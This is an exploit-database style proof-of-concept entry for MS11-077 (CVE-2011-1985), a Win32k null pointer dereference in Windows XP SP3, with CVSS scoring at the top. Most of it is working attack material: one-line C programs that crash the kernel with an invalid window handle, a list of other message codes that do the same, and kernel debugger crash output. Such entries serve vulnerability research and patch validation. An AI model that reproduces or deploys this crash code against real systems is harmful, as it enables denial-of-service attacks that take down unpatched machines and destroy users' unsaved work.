CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
AI Score
Confidence
Low
EPSS
Percentile
18.9%
# Exploit Title: MS11-077 Win32k Null Pointer De-reference Vulnerability POC
# Date: 10/19/2011
# Author: KiDebug
# Version: Windows XP SP3 32bit
# Tested on: Windows XP SP3 32bit
# CVE : CVE-2011-1985
# Exploit Code. Only a single line of code can cause BSOD:
#include <Windows.h>
void main()
{
SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0);
}
or:
#include <Windows.h>
void main()
{
SendNotifyMessage((HWND)-1,CB_ADDSTRING,0,0);
}
Those messages can aslo cause BSOD:
// CB_ADDSTRING 0x0143
// CB_INSERTSTRING 0x014A
// CB_FINDSTRING 0x014C
// CB_SELECTSTRING 0x014D
// CB_FINDSTRINGEXACT 0x0158
// LB_ADDSTRING 0x0180
// LB_INSERTSTRING 0x0181
// LB_SELECTSTRING 0x018C
// LB_FINDSTRING 0x018F
// LB_FINDSTRINGEXACT 0x01A2
// LB_INSERTSTRINGUPPER 0x01AA
// LB_INSERTSTRINGLOWER 0x01AB
// LB_ADDSTRINGUPPER 0x01AC
// LB_ADDSTRINGLOWER 0x01AD
0: kd> r
eax=0000001b ebx=ee0af1fa ecx=ffffffff edx=bbdd0650 esi=ffffffff edi=ee21fd64
eip=bf914e9b esp=ee21fd08 ebp=ee21fd08 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206
win32k!NtUserfnINCBOXSTRING+0x8:
bf914e9b 8b4120 mov eax,dword ptr [ecx+20h] ds:0023:0000001f=????????
0: kd> kp
ChildEBP RetAddr
ee21fd08 bf80ef2b win32k!NtUserfnINCBOXSTRING+0x8
ee21fd40 8054261c win32k!NtUserMessageCall+0xae
ee21fd40 7c92e4f4 nt!KiFastCallEntry+0xfc
0012ff2c 77d194be ntdll!KiFastSystemCallRet
0012ff5c 00401015 USER32!NtUserMessageCall+0xc
0012ff78 0040114c 1!main(void)+0x15 [[r:\temp\1\1.cpp @ 6]
0012ffc0 7c817067 1!__tmainCRTStartup(void)+0x10b [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 278]
0012fff0 00000000 kernel32!BaseProcessStart+0x23